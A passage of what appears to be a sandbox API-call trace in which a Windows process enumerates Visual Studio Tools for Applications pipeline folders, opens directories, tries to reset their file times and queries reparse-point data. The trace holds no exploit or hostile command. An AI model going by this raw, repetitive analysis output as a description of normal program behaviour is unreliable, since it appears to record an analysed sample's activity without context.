returned 0x1305518 [0087.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305620 [0087.391] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e91c0 [0087.391] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69acfbd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60a8740, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.391] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x6a2fe770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.v9.0.dll", cAlternateFileName="")) returned 1 [0087.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.393] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x7fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.dll", cAlternateFileName="")) returned 1 [0087.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.394] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317e5900, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x317e5900, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll", cAlternateFileName="")) returned 1 [0087.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.396] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317e5900, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x317e5900, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll", cAlternateFileName="")) returned 0 [0087.396] GetLastError () returned 0x12 [0087.396] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0087.396] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.396] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69acfbd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60a8740, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.396] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x6a2fe770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.v9.0.dll", cAlternateFileName="")) returned 1 [0087.396] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x7fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.dll", cAlternateFileName="")) returned 1 [0087.396] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317e5900, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x317e5900, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll", cAlternateFileName="")) returned 1 [0087.396] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317e5900, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x317e5900, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll", cAlternateFileName="")) returned 0 [0087.396] GetLastError () returned 0x12 [0087.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305620) returned 1 [0087.396] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0087.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305518) returned 1 [0087.397] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52328bf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd33e0960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contracts", cAlternateFileName="")) returned 1 [0087.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305518 [0087.398] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\contracts"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52328bf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd33e0960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0087.398] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\contracts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0087.398] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0087.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a8a0 [0087.445] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0087.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.446] NtClose (Handle=0x178) returned 0x0 [0087.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305518) returned 1 [0087.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305518 [0087.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305620 [0087.448] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0087.449] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52328bf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd33e0960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.449] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd31a54c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll", cAlternateFileName="")) returned 1 [0087.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.450] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317e5900, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x60d7a190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x317e5900, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.dll", cAlternateFileName="")) returned 1 [0087.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.452] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", cAlternateFileName="")) returned 1 [0087.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.453] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x52328bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", cAlternateFileName="")) returned 1 [0087.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.454] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x52328bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", cAlternateFileName="")) returned 0 [0087.454] GetLastError () returned 0x12 [0087.454] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e91c0 [0087.455] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0087.455] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52328bf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd33e0960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.455] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd31a54c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll", cAlternateFileName="")) returned 1 [0087.455] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317e5900, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x60d7a190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x317e5900, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.dll", cAlternateFileName="")) returned 1 [0087.455] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", cAlternateFileName="")) returned 1 [0087.455] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x52328bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", cAlternateFileName="")) returned 1 [0087.455] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x52328bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", cAlternateFileName="")) returned 0 [0087.455] GetLastError () returned 0x12 [0087.455] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305620) returned 1 [0087.455] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305518) returned 1 [0087.456] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583906f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60f4a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60f4a00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HostSideAdapters", cAlternateFileName="")) returned 1 [0087.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305518 [0087.457] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\hostsideadapters"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583906f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60f4a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60f4a00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0087.457] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\hostsideadapters"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0087.457] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0087.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a8a0 [0087.457] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0087.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.458] NtClose (Handle=0x180) returned 0x0 [0087.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305518) returned 1 [0087.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305518 [0087.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305620 [0087.459] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e91c0 [0087.460] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583906f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60f4a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60f4a00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.460] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, 